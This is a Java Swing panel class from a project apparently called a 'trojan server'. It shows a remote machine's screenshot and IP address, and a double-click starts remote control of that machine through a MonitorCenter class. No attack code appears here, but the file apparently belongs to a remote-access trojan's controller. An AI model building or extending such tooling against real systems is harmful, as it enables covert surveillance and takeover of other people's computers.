/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

/*
 * WatchWindow.java
 *
 * Created on Oct 14, 2011, 7:00:31 PM
 */
package org.ericquan8.trojanserver.bean;

import java.awt.Image;
import java.io.File;

import javax.swing.ImageIcon;

import org.ericquan8.trojanserver.Key;
import org.ericquan8.trojanserver.monitor.MonitorCenter;

/**
 *
 * @author eric
 */
public class WatchWindow extends javax.swing.JPanel {

    private Image image;

    /** Creates new form WatchWindow */
    public WatchWindow() {
        initComponents();
         jLabel1.setIcon(new ImageIcon("t.gif"));
    }
    
    public void setImage(ImageIcon image){
        jLabel1.setIcon(image);
    }

    public Image getImage() {
        return image;
    }
    
    public void setIp(String ip){
        jLabel2.setText(ip);
    }
//    public static void main(String[] args) {
//        File file = new File("t.gif");
//        System.out.println(file.exists());
//    }

    /** This method is called from within the constructor to
     * initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is
     * always regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {

        jLabel1 = new javax.swing.JLabel();
        jLabel2 = new javax.swing.JLabel();

        addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                formMouseClicked(evt);
            }
        });

        jLabel2.setHorizontalAlignment(javax.swing.SwingConstants.CENTER);
        jLabel2.setText("jLabel2");
        jLabel2.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
        this.setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jLabel1, javax.swing.GroupLayout.DEFAULT_SIZE, 118, Short.MAX_VALUE)
            .addComponent(jLabel2, javax.swing.GroupLayout.DEFAULT_SIZE, 118, Short.MAX_VALUE)
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 95, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 15, javax.swing.GroupLayout.PREFERRED_SIZE))
        );
    }// </editor-fold>//GEN-END:initComponents

    private void formMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_formMouseClicked
        // TODO add your handling code here:
        if(evt.getClickCount() == 2){
            MonitorCenter.beginControl(jLabel2.getText(), Key.MONITOR_SERVER_PORT);
        }
    }//GEN-LAST:event_formMouseClicked

    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JLabel jLabel1;
    private javax.swing.JLabel jLabel2;
    // End of variables declaration//GEN-END:variables
}
